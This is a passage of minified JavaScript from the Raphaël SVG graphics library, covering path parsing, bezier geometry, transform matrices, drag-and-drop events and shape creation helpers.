k}return{r:-1,g:-1,b:-1,hex:"none",error:1,toString:bx}},a),a.hsb=bv(function(b,c,d){return a.hsb2rgb(b,c,d).hex}),a.hsl=bv(function(b,c,d){return a.hsl2rgb(b,c,d).hex}),a.rgb=bv(function(a,b,c){return"#"+(16777216|c|b<<8|a<<16).toString(16).slice(1)}),a.getColor=function(a){var b=this.getColor.start=this.getColor.start||{h:0,s:1,b:a||.75},c=this.hsb2rgb(b.h,b.s,b.b);b.h+=.075,b.h>1&&(b.h=0,b.s-=.2,b.s<=0&&(this.getColor.start={h:0,s:1,b:b.b}));return c.hex},a.getColor.reset=function(){delete this.start},a.parsePathString=function(b){if(!b)return null;var c=bz(b);if(c.arr)return bJ(c.arr);var d={a:7,c:6,h:1,l:2,m:2,r:4,q:4,s:4,t:2,v:1,z:0},e=[];a.is(b,E)&&a.is(b[0],E)&&(e=bJ(b)),e.length||r(b).replace(Z,function(a,b,c){var f=[],g=b.toLowerCase();c.replace(_,function(a,b){b&&f.push(+b)}),g=="m"&&f.length>2&&(e.push([b][n](f.splice(0,2))),g="l",b=b=="m"?"l":"L");if(g=="r")e.push([b][n](f));else while(f.length>=d[g]){e.push([b][n](f.splice(0,d[g])));if(!d[g])break}}),e.toString=a._path2string,c.arr=bJ(e);return e},a.parseTransformString=bv(function(b){if(!b)return null;var c={r:3,s:4,t:2,m:6},d=[];a.is(b,E)&&a.is(b[0],E)&&(d=bJ(b)),d.length||r(b).replace($,function(a,b,c){var e=[],f=v.call(b);c.replace(_,function(a,b){b&&e.push(+b)}),d.push([b][n](e))}),d.toString=a._path2string;return d});var bz=function(a){var b=bz.ps=bz.ps||{};b[a]?b[a].sleep=100:b[a]={sleep:100},setTimeout(function(){for(var c in b)b[g](c)&&c!=a&&(b[c].sleep--,!b[c].sleep&&delete b[c])});return b[a]};a.findDotsAtSegment=function(a,b,c,d,e,f,g,h,i){var j=1-i,k=A(j,3),l=A(j,2),m=i*i,n=m*i,o=k*a+l*3*i*c+j*3*i*i*e+n*g,p=k*b+l*3*i*d+j*3*i*i*f+n*h,q=a+2*i*(c-a)+m*(e-2*c+a),r=b+2*i*(d-b)+m*(f-2*d+b),s=c+2*i*(e-c)+m*(g-2*e+c),t=d+2*i*(f-d)+m*(h-2*f+d),u=j*a+i*c,v=j*b+i*d,x=j*e+i*g,y=j*f+i*h,z=90-w.atan2(q-s,r-t)*180/B;(q>s||r<t)&&(z+=180);return{x:o,y:p,m:{x:q,y:r},n:{x:s,y:t},start:{x:u,y:v},end:{x:x,y:y},alpha:z}},a.bezierBBox=function(b,c,d,e,f,g,h,i){a.is(b,"array")||(b=[b,c,d,e,f,g,h,i]);var j=bQ.apply(null,b);return{x:j.min.x,y:j.min.y,x2:j.max.x,y2:j.max.y,width:j.max.x-j.min.x,height:j.max.y-j.min.y}},a.isPointInsideBBox=function(a,b,c){return b>=a.x&&b<=a.x2&&c>=a.y&&c<=a.y2},a.isBBoxIntersect=function(b,c){var d=a.isPointInsideBBox;return d(c,b.x,b.y)||d(c,b.x2,b.y)||d(c,b.x,b.y2)||d(c,b.x2,b.y2)||d(b,c.x,c.y)||d(b,c.x2,c.y)||d(b,c.x,c.y2)||d(b,c.x2,c.y2)||(b.x<c.x2&&b.x>c.x||c.x<b.x2&&c.x>b.x)&&(b.y<c.y2&&b.y>c.y||c.y<b.y2&&c.y>b.y)},a.pathIntersection=function(a,b){return bH(a,b)},a.pathIntersectionNumber=function(a,b){return bH(a,b,1)},a.isPointInsidePath=function(b,c,d){var e=a.pathBBox(b);return a.isPointInsideBBox(e,c,d)&&bH(b,[["M",c,d],["H",e.x2+10]],1)%2==1},a._removedFactory=function(a){return function(){eve("raphael.log",null,"Raphaël: you are calling to method “"+a+"” of removed object",a)}};var bI=a.pathBBox=function(a){var b=bz(a);if(b.bbox)return b.bbox;if(!a)return{x:0,y:0,width:0,height:0,x2:0,y2:0};a=bR(a);var c=0,d=0,e=[],f=[],g;for(var h=0,i=a.length;h<i;h++){g=a[h];if(g[0]=="M")c=g[1],d=g[2],e.push(c),f.push(d);else{var j=bQ(c,d,g[1],g[2],g[3],g[4],g[5],g[6]);e=e[n](j.min.x,j.max.x),f=f[n](j.min.y,j.max.y),c=g[5],d=g[6]}}var k=y[m](0,e),l=y[m](0,f),o=x[m](0,e),p=x[m](0,f),q={x:k,y:l,x2:o,y2:p,width:o-k,height:p-l};b.bbox=bm(q);return q},bJ=function(b){var c=bm(b);c.toString=a._path2string;return c},bK=a._pathToRelative=function(b){var c=bz(b);if(c.rel)return bJ(c.rel);if(!a.is(b,E)||!a.is(b&&b[0],E))b=a.parsePathString(b);var d=[],e=0,f=0,g=0,h=0,i=0;b[0][0]=="M"&&(e=b[0][1],f=b[0][2],g=e,h=f,i++,d.push(["M",e,f]));for(var j=i,k=b.length;j<k;j++){var l=d[j]=[],m=b[j];if(m[0]!=v.call(m[0])){l[0]=v.call(m[0]);switch(l[0]){case"a":l[1]=m[1],l[2]=m[2],l[3]=m[3],l[4]=m[4],l[5]=m[5],l[6]=+(m[6]-e).toFixed(3),l[7]=+(m[7]-f).toFixed(3);break;case"v":l[1]=+(m[1]-f).toFixed(3);break;case"m":g=m[1],h=m[2];default:for(var n=1,o=m.length;n<o;n++)l[n]=+(m[n]-(n%2?e:f)).toFixed(3)}}else{l=d[j]=[],m[0]=="m"&&(g=m[1]+e,h=m[2]+f);for(var p=0,q=m.length;p<q;p++)d[j][p]=m[p]}var r=d[j].length;switch(d[j][0]){case"z":e=g,f=h;break;case"h":e+=+d[j][r-1];break;case"v":f+=+d[j][r-1];break;default:e+=+d[j][r-2],f+=+d[j][r-1]}}d.toString=a._path2string,c.rel=bJ(d);return d},bL=a._pathToAbsolute=function(b){var c=bz(b);if(c.abs)return bJ(c.abs);if(!a.is(b,E)||!a.is(b&&b[0],E))b=a.parsePathString(b);if(!b||!b.length)return[["M",0,0]];var d=[],e=0,f=0,g=0,h=0,i=0;b[0][0]=="M"&&(e=+b[0][1],f=+b[0][2],g=e,h=f,i++,d[0]=["M",e,f]);var j=b.length==3&&b[0][0]=="M"&&b[1][0].toUpperCase()=="R"&&b[2][0].toUpperCase()=="Z";for(var k,l,m=i,o=b.length;m<o;m++){d.push(k=[]),l=b[m];if(l[0]!=S.call(l[0])){k[0]=S.call(l[0]);switch(k[0]){case"A":k[1]=l[1],k[2]=l[2],k[3]=l[3],k[4]=l[4],k[5]=l[5],k[6]=+(l[6]+e),k[7]=+(l[7]+f);break;case"V":k[1]=+l[1]+f;break;case"H":k[1]=+l[1]+e;break;case"R":var p=[e,f][n](l.slice(1));for(var q=2,r=p.length;q<r;q++)p[q]=+p[q]+e,p[++q]=+p[q]+f;d.pop(),d=d[n](by(p,j));break;case"M":g=+l[1]+e,h=+l[2]+f;default:for(q=1,r=l.length;q<r;q++)k[q]=+l[q]+(q%2?e:f)}}else if(l[0]=="R")p=[e,f][n](l.slice(1)),d.pop(),d=d[n](by(p,j)),k=["R"][n](l.slice(-2));else for(var s=0,t=l.length;s<t;s++)k[s]=l[s];switch(k[0]){case"Z":e=g,f=h;break;case"H":e=k[1];break;case"V":f=k[1];break;case"M":g=k[k.length-2],h=k[k.length-1];default:e=k[k.length-2],f=k[k.length-1]}}d.toString=a._path2string,c.abs=bJ(d);return d},bM=function(a,b,c,d){return[a,b,c,d,c,d]},bN=function(a,b,c,d,e,f){var g=1/3,h=2/3;return[g*a+h*c,g*b+h*d,g*e+h*c,g*f+h*d,e,f]},bO=function(a,b,c,d,e,f,g,h,i,j){var k=B*120/180,l=B/180*(+e||0),m=[],o,p=bv(function(a,b,c){var d=a*w.cos(c)-b*w.sin(c),e=a*w.sin(c)+b*w.cos(c);return{x:d,y:e}});if(!j){o=p(a,b,-l),a=o.x,b=o.y,o=p(h,i,-l),h=o.x,i=o.y;var q=w.cos(B/180*e),r=w.sin(B/180*e),t=(a-h)/2,u=(b-i)/2,v=t*t/(c*c)+u*u/(d*d);v>1&&(v=w.sqrt(v),c=v*c,d=v*d);var x=c*c,y=d*d,A=(f==g?-1:1)*w.sqrt(z((x*y-x*u*u-y*t*t)/(x*u*u+y*t*t))),C=A*c*u/d+(a+h)/2,D=A*-d*t/c+(b+i)/2,E=w.asin(((b-D)/d).toFixed(9)),F=w.asin(((i-D)/d).toFixed(9));E=a<C?B-E:E,F=h<C?B-F:F,E<0&&(E=B*2+E),F<0&&(F=B*2+F),g&&E>F&&(E=E-B*2),!g&&F>E&&(F=F-B*2)}else E=j[0],F=j[1],C=j[2],D=j[3];var G=F-E;if(z(G)>k){var H=F,I=h,J=i;F=E+k*(g&&F>E?1:-1),h=C+c*w.cos(F),i=D+d*w.sin(F),m=bO(h,i,c,d,e,0,g,I,J,[F,H,C,D])}G=F-E;var K=w.cos(E),L=w.sin(E),M=w.cos(F),N=w.sin(F),O=w.tan(G/4),P=4/3*c*O,Q=4/3*d*O,R=[a,b],S=[a+P*L,b-Q*K],T=[h+P*N,i-Q*M],U=[h,i];S[0]=2*R[0]-S[0],S[1]=2*R[1]-S[1];if(j)return[S,T,U][n](m);m=[S,T,U][n](m).join()[s](",");var V=[];for(var W=0,X=m.length;W<X;W++)V[W]=W%2?p(m[W-1],m[W],l).y:p(m[W],m[W+1],l).x;return V},bP=function(a,b,c,d,e,f,g,h,i){var j=1-i;return{x:A(j,3)*a+A(j,2)*3*i*c+j*3*i*i*e+A(i,3)*g,y:A(j,3)*b+A(j,2)*3*i*d+j*3*i*i*f+A(i,3)*h}},bQ=bv(function(a,b,c,d,e,f,g,h){var i=e-2*c+a-(g-2*e+c),j=2*(c-a)-2*(e-c),k=a-c,l=(-j+w.sqrt(j*j-4*i*k))/2/i,n=(-j-w.sqrt(j*j-4*i*k))/2/i,o=[b,h],p=[a,g],q;z(l)>"1e12"&&(l=.5),z(n)>"1e12"&&(n=.5),l>0&&l<1&&(q=bP(a,b,c,d,e,f,g,h,l),p.push(q.x),o.push(q.y)),n>0&&n<1&&(q=bP(a,b,c,d,e,f,g,h,n),p.push(q.x),o.push(q.y)),i=f-2*d+b-(h-2*f+d),j=2*(d-b)-2*(f-d),k=b-d,l=(-j+w.sqrt(j*j-4*i*k))/2/i,n=(-j-w.sqrt(j*j-4*i*k))/2/i,z(l)>"1e12"&&(l=.5),z(n)>"1e12"&&(n=.5),l>0&&l<1&&(q=bP(a,b,c,d,e,f,g,h,l),p.push(q.x),o.push(q.y)),n>0&&n<1&&(q=bP(a,b,c,d,e,f,g,h,n),p.push(q.x),o.push(q.y));return{min:{x:y[m](0,p),y:y[m](0,o)},max:{x:x[m](0,p),y:x[m](0,o)}}}),bR=a._path2curve=bv(function(a,b){var c=!b&&bz(a);if(!b&&c.curve)return bJ(c.curve);var d=bL(a),e=b&&bL(b),f={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},g={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},h=function(a,b){var c,d;if(!a)return["C",b.x,b.y,b.x,b.y,b.x,b.y];!(a[0]in{T:1,Q:1})&&(b.qx=b.qy=null);switch(a[0]){case"M":b.X=a[1],b.Y=a[2];break;case"A":a=["C"][n](bO[m](0,[b.x,b.y][n](a.slice(1))));break;case"S":c=b.x+(b.x-(b.bx||b.x)),d=b.y+(b.y-(b.by||b.y)),a=["C",c,d][n](a.slice(1));break;case"T":b.qx=b.x+(b.x-(b.qx||b.x)),b.qy=b.y+(b.y-(b.qy||b.y)),a=["C"][n](bN(b.x,b.y,b.qx,b.qy,a[1],a[2]));break;case"Q":b.qx=a[1],b.qy=a[2],a=["C"][n](bN(b.x,b.y,a[1],a[2],a[3],a[4]));break;case"L":a=["C"][n](bM(b.x,b.y,a[1],a[2]));break;case"H":a=["C"][n](bM(b.x,b.y,a[1],b.y));break;case"V":a=["C"][n](bM(b.x,b.y,b.x,a[1]));break;case"Z":a=["C"][n](bM(b.x,b.y,b.X,b.Y))}return a},i=function(a,b){if(a[b].length>7){a[b].shift();var c=a[b];while(c.length)a.splice(b++,0,["C"][n](c.splice(0,6)));a.splice(b,1),l=x(d.length,e&&e.length||0)}},j=function(a,b,c,f,g){a&&b&&a[g][0]=="M"&&b[g][0]!="M"&&(b.splice(g,0,["M",f.x,f.y]),c.bx=0,c.by=0,c.x=a[g][1],c.y=a[g][2],l=x(d.length,e&&e.length||0))};for(var k=0,l=x(d.length,e&&e.length||0);k<l;k++){d[k]=h(d[k],f),i(d,k),e&&(e[k]=h(e[k],g)),e&&i(e,k),j(d,e,f,g,k),j(e,d,g,f,k);var o=d[k],p=e&&e[k],q=o.length,r=e&&p.length;f.x=o[q-2],f.y=o[q-1],f.bx=Q(o[q-4])||f.x,f.by=Q(o[q-3])||f.y,g.bx=e&&(Q(p[r-4])||g.x),g.by=e&&(Q(p[r-3])||g.y),g.x=e&&p[r-2],g.y=e&&p[r-1]}e||(c.curve=bJ(d));return e?[d,e]:d},null,bJ),bS=a._parseDots=bv(function(b){var c=[];for(var d=0,e=b.length;d<e;d++){var f={},g=b[d].match(/^([^:]*):?([\d\.]*)/);f.color=a.getRGB(g[1]);if(f.color.error)return null;f.color=f.color.hex,g[2]&&(f.offset=g[2]+"%"),c.push(f)}for(d=1,e=c.length-1;d<e;d++)if(!c[d].offset){var h=Q(c[d-1].offset||0),i=0;for(var j=d+1;j<e;j++)if(c[j].offset){i=c[j].offset;break}i||(i=100,j=e),i=Q(i);var k=(i-h)/(j-d+1);for(;d<j;d++)h+=k,c[d].offset=h+"%"}return c}),bT=a._tear=function(a,b){a==b.top&&(b.top=a.prev),a==b.bottom&&(b.bottom=a.next),a.next&&(a.next.prev=a.prev),a.prev&&(a.prev.next=a.next)},bU=a._tofront=function(a,b){b.top!==a&&(bT(a,b),a.next=null,a.prev=b.top,b.top.next=a,b.top=a)},bV=a._toback=function(a,b){b.bottom!==a&&(bT(a,b),a.next=b.bottom,a.prev=null,b.bottom.prev=a,b.bottom=a)},bW=a._insertafter=function(a,b,c){bT(a,c),b==c.top&&(c.top=a),b.next&&(b.next.prev=a),a.next=b.next,a.prev=b,b.next=a},bX=a._insertbefore=function(a,b,c){bT(a,c),b==c.bottom&&(c.bottom=a),b.prev&&(b.prev.next=a),a.prev=b.prev,b.prev=a,a.next=b},bY=a.toMatrix=function(a,b){var c=bI(a),d={_:{transform:p},getBBox:function(){return c}};b$(d,b);return d.matrix},bZ=a.transformPath=function(a,b){return bj(a,bY(a,b))},b$=a._extractTransform=function(b,c){if(c==null)return b._.transform;c=r(c).replace(/\.{3}|\u2026/g,b._.transform||p);var d=a.parseTransformString(c),e=0,f=0,g=0,h=1,i=1,j=b._,k=new cb;j.transform=d||[];if(d)for(var l=0,m=d.length;l<m;l++){var n=d[l],o=n.length,q=r(n[0]).toLowerCase(),s=n[0]!=q,t=s?k.invert():0,u,v,w,x,y;q=="t"&&o==3?s?(u=t.x(0,0),v=t.y(0,0),w=t.x(n[1],n[2]),x=t.y(n[1],n[2]),k.translate(w-u,x-v)):k.translate(n[1],n[2]):q=="r"?o==2?(y=y||b.getBBox(1),k.rotate(n[1],y.x+y.width/2,y.y+y.height/2),e+=n[1]):o==4&&(s?(w=t.x(n[2],n[3]),x=t.y(n[2],n[3]),k.rotate(n[1],w,x)):k.rotate(n[1],n[2],n[3]),e+=n[1]):q=="s"?o==2||o==3?(y=y||b.getBBox(1),k.scale(n[1],n[o-1],y.x+y.width/2,y.y+y.height/2),h*=n[1],i*=n[o-1]):o==5&&(s?(w=t.x(n[3],n[4]),x=t.y(n[3],n[4]),k.scale(n[1],n[2],w,x)):k.scale(n[1],n[2],n[3],n[4]),h*=n[1],i*=n[2]):q=="m"&&o==7&&k.add(n[1],n[2],n[3],n[4],n[5],n[6]),j.dirtyT=1,b.matrix=k}b.matrix=k,j.sx=h,j.sy=i,j.deg=e,j.dx=f=k.e,j.dy=g=k.f,h==1&&i==1&&!e&&j.bbox?(j.bbox.x+=+f,j.bbox.y+=+g):j.dirtyT=1},b_=function(a){var b=a[0];switch(b.toLowerCase()){case"t":return[b,0,0];case"m":return[b,1,0,0,1,0,0];case"r":return a.length==4?[b,0,a[2],a[3]]:[b,0];case"s":return a.length==5?[b,1,1,a[3],a[4]]:a.length==3?[b,1,1]:[b,1]}},ca=a._equaliseTransform=function(b,c){c=r(c).replace(/\.{3}|\u2026/g,b),b=a.parseTransformString(b)||[],c=a.parseTransformString(c)||[];var d=x(b.length,c.length),e=[],f=[],g=0,h,i,j,k;for(;g<d;g++){j=b[g]||b_(c[g]),k=c[g]||b_(j);if(j[0]!=k[0]||j[0].toLowerCase()=="r"&&(j[2]!=k[2]||j[3]!=k[3])||j[0].toLowerCase()=="s"&&(j[3]!=k[3]||j[4]!=k[4]))return;e[g]=[],f[g]=[];for(h=0,i=x(j.length,k.length);h<i;h++)h in j&&(e[g][h]=j[h]),h in k&&(f[g][h]=k[h])}return{from:e,to:f}};a._getContainer=function(b,c,d,e){var f;f=e==null&&!a.is(b,"object")?h.doc.getElementById(b):b;if(f!=null){if(f.tagName)return c==null?{container:f,width:f.style.pixelWidth||f.offsetWidth,height:f.style.pixelHeight||f.offsetHeight}:{container:f,width:c,height:d};return{container:1,x:b,y:c,width:d,height:e}}},a.pathToRelative=bK,a._engine={},a.path2curve=bR,a.matrix=function(a,b,c,d,e,f){return new cb(a,b,c,d,e,f)},function(b){function d(a){var b=w.sqrt(c(a));a[0]&&(a[0]/=b),a[1]&&(a[1]/=b)}function c(a){return a[0]*a[0]+a[1]*a[1]}b.add=function(a,b,c,d,e,f){var g=[[],[],[]],h=[[this.a,this.c,this.e],[this.b,this.d,this.f],[0,0,1]],i=[[a,c,e],[b,d,f],[0,0,1]],j,k,l,m;a&&a instanceof cb&&(i=[[a.a,a.c,a.e],[a.b,a.d,a.f],[0,0,1]]);for(j=0;j<3;j++)for(k=0;k<3;k++){m=0;for(l=0;l<3;l++)m+=h[j][l]*i[l][k];g[j][k]=m}this.a=g[0][0],this.b=g[1][0],this.c=g[0][1],this.d=g[1][1],this.e=g[0][2],this.f=g[1][2]},b.invert=function(){var a=this,b=a.a*a.d-a.b*a.c;return new cb(a.d/b,-a.b/b,-a.c/b,a.a/b,(a.c*a.f-a.d*a.e)/b,(a.b*a.e-a.a*a.f)/b)},b.clone=function(){return new cb(this.a,this.b,this.c,this.d,this.e,this.f)},b.translate=function(a,b){this.add(1,0,0,1,a,b)},b.scale=function(a,b,c,d){b==null&&(b=a),(c||d)&&this.add(1,0,0,1,c,d),this.add(a,0,0,b,0,0),(c||d)&&this.add(1,0,0,1,-c,-d)},b.rotate=function(b,c,d){b=a.rad(b),c=c||0,d=d||0;var e=+w.cos(b).toFixed(9),f=+w.sin(b).toFixed(9);this.add(e,f,-f,e,c,d),this.add(1,0,0,1,-c,-d)},b.x=function(a,b){return a*this.a+b*this.c+this.e},b.y=function(a,b){return a*this.b+b*this.d+this.f},b.get=function(a){return+this[r.fromCharCode(97+a)].toFixed(4)},b.toString=function(){return a.svg?"matrix("+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)].join()+")":[this.get(0),this.get(2),this.get(1),this.get(3),0,0].join()},b.toFilter=function(){return"progid:DXImageTransform.Microsoft.Matrix(M11="+this.get(0)+", M12="+this.get(2)+", M21="+this.get(1)+", M22="+this.get(3)+", Dx="+this.get(4)+", Dy="+this.get(5)+", sizingmethod='auto expand')"},b.offset=function(){return[this.e.toFixed(4),this.f.toFixed(4)]},b.split=function(){var b={};b.dx=this.e,b.dy=this.f;var e=[[this.a,this.c],[this.b,this.d]];b.scalex=w.sqrt(c(e[0])),d(e[0]),b.shear=e[0][0]*e[1][0]+e[0][1]*e[1][1],e[1]=[e[1][0]-e[0][0]*b.shear,e[1][1]-e[0][1]*b.shear],b.scaley=w.sqrt(c(e[1])),d(e[1]),b.shear/=b.scaley;var f=-e[0][1],g=e[1][1];g<0?(b.rotate=a.deg(w.acos(g)),f<0&&(b.rotate=360-b.rotate)):b.rotate=a.deg(w.asin(f)),b.isSimple=!+b.shear.toFixed(9)&&(b.scalex.toFixed(9)==b.scaley.toFixed(9)||!b.rotate),b.isSuperSimple=!+b.shear.toFixed(9)&&b.scalex.toFixed(9)==b.scaley.toFixed(9)&&!b.rotate,b.noRotation=!+b.shear.toFixed(9)&&!b.rotate;return b},b.toTransformString=function(a){var b=a||this[s]();if(b.isSimple){b.scalex=+b.scalex.toFixed(4),b.scaley=+b.scaley.toFixed(4),b.rotate=+b.rotate.toFixed(4);return(b.dx||b.dy?"t"+[b.dx,b.dy]:p)+(b.scalex!=1||b.scaley!=1?"s"+[b.scalex,b.scaley,0,0]:p)+(b.rotate?"r"+[b.rotate,0,0]:p)}return"m"+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)]}}(cb.prototype);var cc=navigator.userAgent.match(/Version\/(.*?)\s/)||navigator.userAgent.match(/Chrome\/(\d+)/);navigator.vendor=="Apple Computer, Inc."&&(cc&&cc[1]<4||navigator.platform.slice(0,2)=="iP")||navigator.vendor=="Google Inc."&&cc&&cc[1]<8?k.safari=function(){var a=this.rect(-99,-99,this.width+99,this.height+99).attr({stroke:"none"});setTimeout(function(){a.remove()})}:k.safari=be;var cd=function(){this.returnValue=!1},ce=function(){return this.originalEvent.preventDefault()},cf=function(){this.cancelBubble=!0},cg=function(){return this.originalEvent.stopPropagation()},ch=function(){if(h.doc.addEventListener)return function(a,b,c,d){var e=o&&u[b]?u[b]:b,f=function(e){var f=h.doc.documentElement.scrollTop||h.doc.body.scrollTop,i=h.doc.documentElement.scrollLeft||h.doc.body.scrollLeft,j=e.clientX+i,k=e.clientY+f;if(o&&u[g](b))for(var l=0,m=e.targetTouches&&e.targetTouches.length;l<m;l++)if(e.targetTouches[l].target==a){var n=e;e=e.targetTouches[l],e.originalEvent=n,e.preventDefault=ce,e.stopPropagation=cg;break}return c.call(d,e,j,k)};a.addEventListener(e,f,!1);return function(){a.removeEventListener(e,f,!1);return!0}};if(h.doc.attachEvent)return function(a,b,c,d){var e=function(a){a=a||h.win.event;var b=h.doc.documentElement.scrollTop||h.doc.body.scrollTop,e=h.doc.documentElement.scrollLeft||h.doc.body.scrollLeft,f=a.clientX+e,g=a.clientY+b;a.preventDefault=a.preventDefault||cd,a.stopPropagation=a.stopPropagation||cf;return c.call(d,a,f,g)};a.attachEvent("on"+b,e);var f=function(){a.detachEvent("on"+b,e);return!0};return f}}(),ci=[],cj=function(a){var b=a.clientX,c=a.clientY,d=h.doc.documentElement.scrollTop||h.doc.body.scrollTop,e=h.doc.documentElement.scrollLeft||h.doc.body.scrollLeft,f,g=ci.length;while(g--){f=ci[g];if(o){var i=a.touches.length,j;while(i--){j=a.touches[i];if(j.identifier==f.el._drag.id){b=j.clientX,c=j.clientY,(a.originalEvent?a.originalEvent:a).preventDefault();break}}}else a.preventDefault();var k=f.el.node,l,m=k.nextSibling,n=k.parentNode,p=k.style.display;h.win.opera&&n.removeChild(k),k.style.display="none",l=f.el.paper.getElementByPoint(b,c),k.style.display=p,h.win.opera&&(m?n.insertBefore(k,m):n.appendChild(k)),l&&eve("raphael.drag.over."+f.el.id,f.el,l),b+=e,c+=d,eve("raphael.drag.move."+f.el.id,f.move_scope||f.el,b-f.el._drag.x,c-f.el._drag.y,b,c,a)}},ck=function(b){a.unmousemove(cj).unmouseup(ck);var c=ci.length,d;while(c--)d=ci[c],d.el._drag={},eve("raphael.drag.end."+d.el.id,d.end_scope||d.start_scope||d.move_scope||d.el,b);ci=[]},cl=a.el={};for(var cm=t.length;cm--;)(function(b){a[b]=cl[b]=function(c,d){a.is(c,"function")&&(this.events=this.events||[],this.events.push({name:b,f:c,unbind:ch(this.shape||this.node||h.doc,b,c,d||this)}));return this},a["un"+b]=cl["un"+b]=function(a){var c=this.events||[],d=c.length;while(d--)if(c[d].name==b&&c[d].f==a){c[d].unbind(),c.splice(d,1),!c.length&&delete this.events;return this}return this}})(t[cm]);cl.data=function(b,c){var d=bb[this.id]=bb[this.id]||{};if(arguments.length==1){if(a.is(b,"object")){for(var e in b)b[g](e)&&this.data(e,b[e]);return this}eve("raphael.data.get."+this.id,this,d[b],b);return d[b]}d[b]=c,eve("raphael.data.set."+this.id,this,c,b);return this},cl.removeData=function(a){a==null?bb[this.id]={}:bb[this.id]&&delete bb[this.id][a];return this},cl.hover=function(a,b,c,d){return this.mouseover(a,c).mouseout(b,d||c)},cl.unhover=function(a,b){return this.unmouseover(a).unmouseout(b)};var cn=[];cl.drag=function(b,c,d,e,f,g){function i(i){(i.originalEvent||i).preventDefault();var j=h.doc.documentElement.scrollTop||h.doc.body.scrollTop,k=h.doc.documentElement.scrollLeft||h.doc.body.scrollLeft;this._drag.x=i.clientX+k,this._drag.y=i.clientY+j,this._drag.id=i.identifier,!ci.length&&a.mousemove(cj).mouseup(ck),ci.push({el:this,move_scope:e,start_scope:f,end_scope:g}),c&&eve.on("raphael.drag.start."+this.id,c),b&&eve.on("raphael.drag.move."+this.id,b),d&&eve.on("raphael.drag.end."+this.id,d),eve("raphael.drag.start."+this.id,f||e||this,i.clientX+k,i.clientY+j,i)}this._drag={},cn.push({el:this,start:i}),this.mousedown(i);return this},cl.onDragOver=function(a){a?eve.on("raphael.drag.over."+this.id,a):eve.unbind("raphael.drag.over."+this.id)},cl.undrag=function(){var b=cn.length;while(b--)cn[b].el==this&&(this.unmousedown(cn[b].start),cn.splice(b,1),eve.unbind("raphael.drag.*."+this.id));!cn.length&&a.unmousemove(cj).unmouseup(ck)},k.circle=function(b,c,d){var e=a._engine.circle(this,b||0,c||0,d||0);this.__set__&&this.__set__.push(e);return e},k.rect=function(b,c,d,e,f){var g=a._engine.rect(this,b||0,c||0,d||0,e||0,f||0);this.__set__&&this.__set__.push(g);return g},k.ellipse=function(b,c,d,e){var f=a._engine.ellipse(this,b||0,c||0,d||0,e||0);this.__set__&&this.__set__.push(f);return f},k.path=function(b){b&&!a.is(b,D)&&!a.is(b[0],E)&&(b+=p);var c=a._engine.path(a.format[m](a,arguments),this);this.__set__&&this.__set__.push(c);return c},k.image=function(b,c,d,e,f){var g=a._engine.image(this,b||"about:blank",c||0,d||0,e||0,f||0);this.__set__&&this.__set__.push(g);return g},k.text=function(b,c,d){var e=a._engine.text(this,b||0,c||0,r(d));this.__set__&&this.__set__.push(e);return e},k.set=function(b){!a.is(b,"array")&&(b=Array.prototype.splice.call(arguments,0,arguments.length));var c=new cG(b);this.__set__&&this.__set__.push(c);return c},k.setStart=function(a){this.__set__=a||this.set()},k.setFinish=function(a){var b=this.__set__;delete this.__set__;return b},k.setSize=function(b,c){return a._engine.setSize.call(this,b,c)},k.setViewBox=function(b,c,d,e,f){return a._engine.setViewBox.call(this,b,c,d,e,f)},k.top=k.bottom=null,k.raphael=a;var co=function(a){var b=a.getBoundingClientRect(),c=a.ownerDocument,d=c.body,e=c.documentElement,f=e.clientTop||d.clientTop||0,g=e.clientLeft||d.clientLeft||0,i=b.top+(h.win.pageYOffset||e.scrollTop||d.scrollTop)-f,j=b.left+(h.win.pageXOffset||e.scrollLeft||d.scrollLeft)-g;return{y:i,x:j}};k.getElementByPoint=function(a,b){var c=this,d=c.canvas,e=h.doc.elementFromPoint(a,b);if(h.win.opera&&e.tagName=="svg"){var f=co(d),g=d.createSVGRect();g.x=a-f.x,g.y=b-f.y,g.width=g.height=1;var i=d.getIntersectionList(g,null);i.length&&(e=i[i.length-1])}if(!e)return null;while(e.parentNode&&e!=d.parentNode&&!e.raphael)e=e.parentNode;e==c.canvas.parentNode&&(e=d),e=e&&e.raphael?c.getById(e.raphaelid):null;return e},k.getById=function(a){var b=this.bottom;while(b){if(b.id==a)return b;b=b.next}return null},k.forEach=function(a,b){var c=this.bottom;while(c){if(a.call(b,c)===!1)return this;c=c.next}return this},k.getElementsByPoint=function(a,b){var c=this.set();this.forEach(function(d){d.isPointInside(a,b)&&c.push(d)});return c},cl.isPointInside=function(b,c){var d=this.realPath=this.realPath||bi[this.type](this);return a.isPointInsidePath(d,b,c)},cl.getBBox=function(a){if(this.removed)return{};var b=this._;if(a){if(b.dirty||!b.bboxwt)this.realPath=bi[this.type](this),b.bboxwt=bI(this.realPath),b.bboxwt.toString=cq,b.dirty=0;return b.bboxwt}if(b.dirty||b.dirtyT||!b.bbox){if(b.dirty||!this.realPath)b.bboxwt=0,this.realPath=bi[this.type](this);b.bbox=bI(bj(this.realPath,this.matrix)),b.bbox.toString=cq,b.dirty=b.dirtyT=0}return b.bbox},cl.clone=function(){if(this.removed)return null;var a=this.paper[this.type]().attr(this.attr());this.__set__&&this.__set__.push(a);return a},cl.glow=function(a){if(this.type=="text")return null;a=a||{};var b={width:(a.width||10)+(+this.attr("stroke-width")||1),fill:a.fill||!1,opacity:a.opacity||.5,offsetx:a.offsetx||0,offsety:a.offsety||0,color:a.color||"#000"},c=b.width/2,d=this.paper,e=d.set(),f=this.realPath||bi[this.type](this);f=this.matrix?bj(f,this.matrix):f;for(var g=1;g<c+1;g++)e.push(d.path(f).attr({stroke:b.color,fill:b.fill?b.color:"none","stroke-linejoin":"round","stroke-linecap":"round","stroke-width":+(b.width/c*g).toFixed(3),opacity:+(b.opacity/c).toFixed(3)}));return e.insertBefore(this).translate(b.offsetx,b.offsety)};var cr={},cs=function(b,c,d,e,f,g,h,i,j){return j==null?bB(b,c,d,e,f,g,h,i):a.findDotsAtSegment(b,c,d,e,f,g,h,i,bC(b,c,d,e,f,g,h,i,j))},ct=function(b,c){return function(d,e,f){d=bR(d);var g,h,i,j,k="",l={},m,n=0;for(var 